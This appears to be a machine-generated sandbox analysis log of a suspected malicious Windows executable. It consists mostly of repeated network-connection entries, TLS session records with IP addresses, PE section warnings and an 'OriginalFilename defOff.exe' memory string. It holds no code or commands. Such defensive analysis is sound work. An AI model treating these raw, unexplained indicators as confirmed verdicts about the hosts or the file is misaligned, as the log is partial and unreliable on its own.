Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49856 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_00DD0CD4

0_3_00DD0CD4

Source: file.exe, 00000000.00000003.2331712443.0000000005828000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330528969.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361864212.000000000548D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361864212.000000000548D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOx vs file.exe
Source: file.exe, 00000000.00000003.2337871021.000000000582A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332417036.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324423251.0000000005829000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322117246.00000000058E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2471308095.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322018418.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334837547.0000000005949000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339194113.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319780363.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334708762.0000000005829000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336286891.000000000594A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330793978.0000000005906000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333368377.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331568622.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333064465.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322374748.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329703072.0000000005824000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333993068.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336639923.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321916395.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319943616.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329988885.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330692953.0000000005824000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325496244.00000000058F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338710085.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319538137.000000000595E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338337573.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335011001.0000000005825000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321085437.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322683678.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361627505.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333509878.000000000582F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337528163.0000000005952000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319458823.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336920677.0000000005960000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324154881.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323079442.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331043365.000000000590E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329847212.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339010217.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332278827.000000000592E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321288738.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334441718.0000000005830000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330394430.0000000005824000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321193735.0000000005828000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335254645.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335523479.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331438909.0000000005917000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330257852.0000000005909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331171332.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361627505.000000000548D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361627505.000000000548D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOx vs file.exe
Source: file.exe, 00000000.00000003.2335926275.0000000005A68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332698652.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322531780.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337372418.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330915654.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361627505.0000000005457000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331874170.000000000592D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323764284.000000000582A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364561874.0000000005497000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOx vs file.exe
Source: file.exe, 00000000.00000003.2361892258.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319619255.000000000582F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338036517.000000000596E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338170183.000000000582B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320100333.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339870746.000000000582A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320021756.00000000058C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334232348.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332556421.000000000592F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320177886.00000000058C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2470845753.000000000548B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOx vs file.exe
Source: file.exe, 00000000.00000003.2319862025.00000000058C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319699015.00000000058D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332138135.0000000005830000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320260896.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322930561.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332894251.000000000582A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321821092.000000000582A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338544388.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330127230.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321621718.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334585420.000000000594F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
